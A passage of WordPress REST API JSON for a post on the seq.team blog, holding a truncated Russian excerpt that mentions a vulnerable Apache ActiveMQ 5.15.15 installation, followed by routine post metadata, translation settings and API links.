\u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0441\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043e \u041f\u041e Apache ActiveMQ \u0432\u0435\u0440\u0441\u0438\u0438 5.15.15, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0433\u043e \u043a [&hellip;]<\/p>\n","protected":false},"author":5,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-956","post","type-post","status-publish","format-standard","hentry","category-blog"],"translation":{"provider":"WPGlobus","version":"3.0.0","language":"en","enabled_languages":["ru","en"],"languages":{"ru":{"title":true,"content":true,"excerpt":false},"en":{"title":false,"content":false,"excerpt":false}}},"_links":{"self":[{"href":"https:\/\/seq.team\/en\/wp-json\/wp\/v2\/posts\/956","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/seq.team\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/seq.team\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/seq.team\/en\/wp-json\/wp\/v2\/users\/5"}],"replies":[{"embeddable":true,"href":"https:\/\/seq.team\/en\/wp-json\/wp\/v2\/comments?post=956"}],"version-history":[{"count":18,"href":"https:\/\/seq.team\/en\/wp-json\/wp\/v2\/posts\/956\/revisions"}],"predecessor-version":[{"id":985,"href":"https:\/\/seq.team\/en\/wp-json\/wp\/v2\/posts\/956\/revisions\/985"}],"wp:attachment":[{"href":"https:\/\/seq.team\/en\/wp-json\/wp\/v2\/media?parent=956"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/seq.team\/en\/wp-json\/wp\/v2\/categories?post=956"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/seq.team\/en\/wp-json\/wp\/v2\/tags?post=956"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}